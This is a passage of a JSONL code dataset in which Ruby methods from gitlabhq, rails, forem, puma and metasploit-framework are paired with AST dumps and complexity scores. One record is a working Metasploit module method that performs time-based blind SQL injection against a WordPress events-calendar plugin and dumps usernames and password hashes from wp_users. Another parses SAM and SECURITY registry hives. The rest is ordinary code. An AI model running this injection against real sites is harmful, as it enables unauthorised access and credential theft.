src=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"iframe_src\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"  width=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"oembed\"]},\"width\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"  height=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"oembed\"]},\"height\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"  title=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"oembed\"]},\"title\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"  frameborder=\\\"0\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"  allowfullscreen\\n\"]},{\"type\":\"str\",\"children\":[\"></iframe>\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"oembed\"]},\"html\"]}]}]}]}","id":"93fb83c7-6082-47cc-a6b2-364963effe38"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/database/reindexing/index_selection_spec.rb","start_line":21,"raw_source":"def execute(sql)\n    connection.execute(sql)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sql\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"execute\",{\"type\":\"lvar\",\"children\":[\"sql\"]}]}]}","id":"adac51f9-d7f9-4577-baa8-e2dbe20a25fb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/wp_modern_events_calendar_sqli.rb","start_line":63,"raw_source":"def run_host(ip)\n    @sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload| # also tried encoder: :base64 and still not quite getting the right answer.\n      d = Rex::Text.rand_text_numeric(4)\n      # the webapp takes this parameter and uses it two times in the query, therefore our sleep is 2x what it should be. so we need to cut it.\n      payload = payload.gsub(/sleep\\(\\d+\\.\\d+\\)/i, \"sleep(#{datastore['SQLIDELAY'] / 2})\")\n\n      res = send_request_cgi({\n        'method' => 'GET',\n        'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),\n        'vars_get' => {\n          'action' => 'mec_load_single_page',\n          # taken from sqlmap\n          'time' => \"#{Rex::Text.rand_text_numeric(1)}) AND (SELECT #{Rex::Text.rand_text_numeric(4)} FROM (SELECT(#{payload}))#{Rex::Text.rand_text_alpha(4)}) AND (#{d}=#{d}\"\n        }\n      })\n      fail_with Failure::Unreachable, 'Connection failed' unless res\n    end\n    unless @sqli.test_vulnerable\n      fail_with Failure::PayloadFailed, \"#{peer} - Testing of SQLi failed.  If this is time based, try increasing SqliDelay.\"\n    end\n\n    columns = ['user_login', 'user_pass']\n    results = @sqli.dump_table_fields('wp_users', columns, '', datastore['COUNT'])\n    table = Rex::Text::Table.new('Header' => 'wp_users', 'Indent' => 1, 'Columns' => columns)\n    results.each do |user|\n      create_credential({\n        workspace_id: myworkspace_id,\n        origin_type: :service,\n        module_fullname: fullname,\n        username: user[0],\n        private_type: :nonreplayable_hash,\n        jtr_format: Metasploit::Framework::Hashes.identify_hash(user[1]),\n        private_data: user[1],\n        service_name: 'Wordpress',\n        address: ip,\n        port: datastore['RPORT'],\n        protocol: 'tcp',\n        status: Metasploit::Model::Login::Status::UNTRIED\n      })\n      table << user\n    end\n    print_good(table.to_s)\n  end","complexity_score":59.8,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@sqli\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_sqli\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dbms\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MySQLi\"]},\"TimeBasedBlind\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"opts\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hex_encode_strings\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"d\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_numeric\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"sleep\\\\(\\\\d+\\\\.\\\\d+\\\\)\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"sleep(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SQLIDELAY\"]}]},\"/\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"wp-admin\"]},{\"type\":\"str\",\"children\":[\"admin-ajax.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"mec_load_single_page\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"time\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_numeric\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"str\",\"children\":[\") AND (SELECT \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_numeric\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"str\",\"children\":[\" FROM (SELECT(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]}]},{\"type\":\"str\",\"children\":[\"))\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"str\",\"children\":[\") AND (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]}]},{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]}]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"str\",\"children\":[\"Connection failed\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sqli\"]},\"test_vulnerable\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"PayloadFailed\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Testing of SQLi failed.  If this is time based, try increasing SqliDelay.\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"columns\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"user_login\"]},{\"type\":\"str\",\"children\":[\"user_pass\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sqli\"]},\"dump_table_fields\",{\"type\":\"str\",\"children\":[\"wp_users\"]},{\"type\":\"lvar\",\"children\":[\"columns\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"COUNT\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"table\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"Table\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Header\"]},{\"type\":\"str\",\"children\":[\"wp_users\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Indent\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Columns\"]},{\"type\":\"lvar\",\"children\":[\"columns\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"nonreplayable_hash\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"jtr_format\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"Hashes\"]},\"identify_hash\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"str\",\"children\":[\"Wordpress\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"UNTRIED\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"to_s\"]}]}]}]}","id":"204c5458-c216-466e-8a5d-975a72cf98ab"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/relative_positioning.rb","start_line":44,"raw_source":"def gap_size(context, gaps:, at_end:, starting_from:)\n      total_width = IDEAL_DISTANCE * gaps\n      size = if at_end && starting_from + total_width >= MAX_POSITION\n               (MAX_POSITION - starting_from) / gaps\n             elsif !at_end && starting_from - total_width <= MIN_POSITION\n               (starting_from - MIN_POSITION) / gaps\n             else\n               IDEAL_DISTANCE\n             end\n\n      return [size, starting_from] if size >= MIN_GAP\n\n      terminus = context.at_position(starting_from)\n\n      if at_end\n        terminus.shift_left\n        max_relative_position = terminus.relative_position\n        [[(MAX_POSITION - max_relative_position) / gaps, IDEAL_DISTANCE].min, max_relative_position]\n      else\n        terminus.shift_right\n        min_relative_position = terminus.relative_position\n        [[(min_relative_position - MIN_POSITION) / gaps, IDEAL_DISTANCE].min, min_relative_position]\n      end\n    end","complexity_score":39.0,"ast_json":"{\"type\":\"def\",\"children\":[\"gap_size\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"context\"]},{\"type\":\"kwarg\",\"children\":[\"gaps\"]},{\"type\":\"kwarg\",\"children\":[\"at_end\"]},{\"type\":\"kwarg\",\"children\":[\"starting_from\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"total_width\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IDEAL_DISTANCE\"]},\"*\",{\"type\":\"lvar\",\"children\":[\"gaps\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"size\",{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"at_end\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"starting_from\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"total_width\"]}]},\">=\",{\"type\":\"const\",\"children\":[null,\"MAX_POSITION\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MAX_POSITION\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"starting_from\"]}]}]},\"/\",{\"type\":\"lvar\",\"children\":[\"gaps\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"at_end\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"starting_from\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"total_width\"]}]},\"<=\",{\"type\":\"const\",\"children\":[null,\"MIN_POSITION\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"starting_from\"]},\"-\",{\"type\":\"const\",\"children\":[null,\"MIN_POSITION\"]}]}]},\"/\",{\"type\":\"lvar\",\"children\":[\"gaps\"]}]},{\"type\":\"const\",\"children\":[null,\"IDEAL_DISTANCE\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"size\"]},\">=\",{\"type\":\"const\",\"children\":[null,\"MIN_GAP\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"size\"]},{\"type\":\"lvar\",\"children\":[\"starting_from\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"terminus\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"at_position\",{\"type\":\"lvar\",\"children\":[\"starting_from\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"at_end\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"terminus\"]},\"shift_left\"]},{\"type\":\"lvasgn\",\"children\":[\"max_relative_position\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"terminus\"]},\"relative_position\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MAX_POSITION\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"max_relative_position\"]}]}]},\"/\",{\"type\":\"lvar\",\"children\":[\"gaps\"]}]},{\"type\":\"const\",\"children\":[null,\"IDEAL_DISTANCE\"]}]},\"min\"]},{\"type\":\"lvar\",\"children\":[\"max_relative_position\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"terminus\"]},\"shift_right\"]},{\"type\":\"lvasgn\",\"children\":[\"min_relative_position\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"terminus\"]},\"relative_position\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"min_relative_position\"]},\"-\",{\"type\":\"const\",\"children\":[null,\"MIN_POSITION\"]}]}]},\"/\",{\"type\":\"lvar\",\"children\":[\"gaps\"]}]},{\"type\":\"const\",\"children\":[null,\"IDEAL_DISTANCE\"]}]},\"min\"]},{\"type\":\"lvar\",\"children\":[\"min_relative_position\"]}]}]}]}]}]}","id":"d54e62a6-8f80-468e-9dc6-aa7d2e690ea9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/component/confirm_modal.rb","start_line":33,"raw_source":"def confirm_transfer\n          wait_for_confirm_button_enabled\n          click_element('confirm-danger-modal-button')\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"confirm_transfer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wait_for_confirm_button_enabled\"]},{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"confirm-danger-modal-button\"]}]}]}]}","id":"1c45c575-a6ad-46ab-a3e7-6a012a35f67d"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper/form_with_test.rb","start_line":118,"raw_source":"def test_form_with_false_action\n    actual = form_with(html: { action: false })\n\n    expected = whole_form(false)\n\n    assert_dom_equal expected, actual\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_form_with_false_action\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"actual\",{\"type\":\"send\",\"children\":[null,\"form_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"html\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[null,\"whole_form\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"actual\"]}]}]}]}","id":"8237cfdf-63a0-4773-a255-ec5ef9538253"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/util/windows_registry/registry_parser.rb","start_line":203,"raw_source":"def initialize(hive_data, name: nil, root: nil)\n      @hive_data = hive_data.b\n      @regf = RegRegf.read(@hive_data)\n      @root_key_block = find_root_key\n      @root = root\n      @root << '\\\\' unless root.end_with?('\\\\')\n      case name\n      when :sam\n        require_relative 'sam'\n        extend Sam\n      when :security\n        require_relative 'security'\n        extend Security\n      else\n        wlog(\"[Msf::Util::WindowsRegistry::RegistryParser] Unknown :name argument: #{name}\") unless name.blank?\n      end\n    end","complexity_score":23.9,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hive_data\"]},{\"type\":\"kwoptarg\",\"children\":[\"name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"root\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@hive_data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hive_data\"]},\"b\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@regf\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RegRegf\"]},\"read\",{\"type\":\"ivar\",\"children\":[\"@hive_data\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@root_key_block\",{\"type\":\"send\",\"children\":[null,\"find_root_key\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@root\",{\"type\":\"lvar\",\"children\":[\"root\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"root\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"\\\\\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@root\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\\\\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"sam\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require_relative\",{\"type\":\"str\",\"children\":[\"sam\"]}]},{\"type\":\"send\",\"children\":[null,\"extend\",{\"type\":\"const\",\"children\":[null,\"Sam\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"security\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require_relative\",{\"type\":\"str\",\"children\":[\"security\"]}]},{\"type\":\"send\",\"children\":[null,\"extend\",{\"type\":\"const\",\"children\":[null,\"Security\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"blank?\"]},null,{\"type\":\"send\",\"children\":[null,\"wlog\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[Msf::Util::WindowsRegistry::RegistryParser] Unknown :name argument: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}]}]}]}","id":"81304bb4-0fc6-4bdf-b4b0-485fb988f06a"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/fixtures.rb","start_line":817,"raw_source":"def initialize(fixture, model_class)\n      @fixture     = fixture\n      @model_class = model_class\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fixture\"]},{\"type\":\"arg\",\"children\":[\"model_class\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@fixture\",{\"type\":\"lvar\",\"children\":[\"fixture\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@model_class\",{\"type\":\"lvar\",\"children\":[\"model_class\"]}]}]}]}","id":"84246d11-777a-4a70-9fa7-52e339f6c853"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/admin/invitations_controller.rb","start_line":63,"raw_source":"def configure_permitted_parameters\n      devise_parameter_sanitizer.permit(:invite,\n                                        keys: %i[email\n                                                 name\n                                                 username\n                                                 custom_invite_subject\n                                                 custom_invite_message\n                                                 custom_invite_footnote\n                                                 profile_image\n                                                 registered])\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"configure_permitted_parameters\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"devise_parameter_sanitizer\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"invite\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"keys\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"sym\",\"children\":[\"custom_invite_subject\"]},{\"type\":\"sym\",\"children\":[\"custom_invite_message\"]},{\"type\":\"sym\",\"children\":[\"custom_invite_footnote\"]},{\"type\":\"sym\",\"children\":[\"profile_image\"]},{\"type\":\"sym\",\"children\":[\"registered\"]}]}]}]}]}]}","id":"80031232-b16b-49fd-ad18-7a54d679f8df"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_preserve_bundler_env.rb","start_line":39,"raw_source":"def test_worker_forking_preserves_bundler_config_path\n    @tcp_port = UniquePort.call\n    env = {\n      # Disable the .bundle/config file in the bundle_app_config_test directory\n      \"BUNDLE_APP_CONFIG\" => \"/dev/null\",\n      # Don't allow our (rake test's) original env to interfere with the child process\n      \"BUNDLE_GEMFILE\" => nil,\n      \"BUNDLER_ORIG_BUNDLE_GEMFILE\" => nil\n    }\n    cmd = \"-q -w 1 --prune-bundler\"\n    Dir.chdir File.expand_path(\"bundle_app_config_test\", __dir__) do\n      cli_server cmd, env: env\n    end\n\n    reply = read_body(connect)\n    assert_equal(\"Hello World\", reply)\n  end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_worker_forking_preserves_bundler_config_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@tcp_port\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UniquePort\"]},\"call\"]}]},{\"type\":\"lvasgn\",\"children\":[\"env\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BUNDLE_APP_CONFIG\"]},{\"type\":\"str\",\"children\":[\"/dev/null\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BUNDLE_GEMFILE\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BUNDLER_ORIG_BUNDLE_GEMFILE\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"str\",\"children\":[\"-q -w 1 --prune-bundler\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"chdir\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"bundle_app_config_test\"]},{\"type\":\"send\",\"children\":[null,\"__dir__\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"cli_server\",{\"type\":\"lvar\",\"children\":[\"cmd\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env\"]},{\"type\":\"lvar\",\"children\":[\"env\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"reply\",{\"type\":\"send\",\"children\":[null,\"read_body\",{\"type\":\"send\",\"children\":[null,\"connect\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Hello 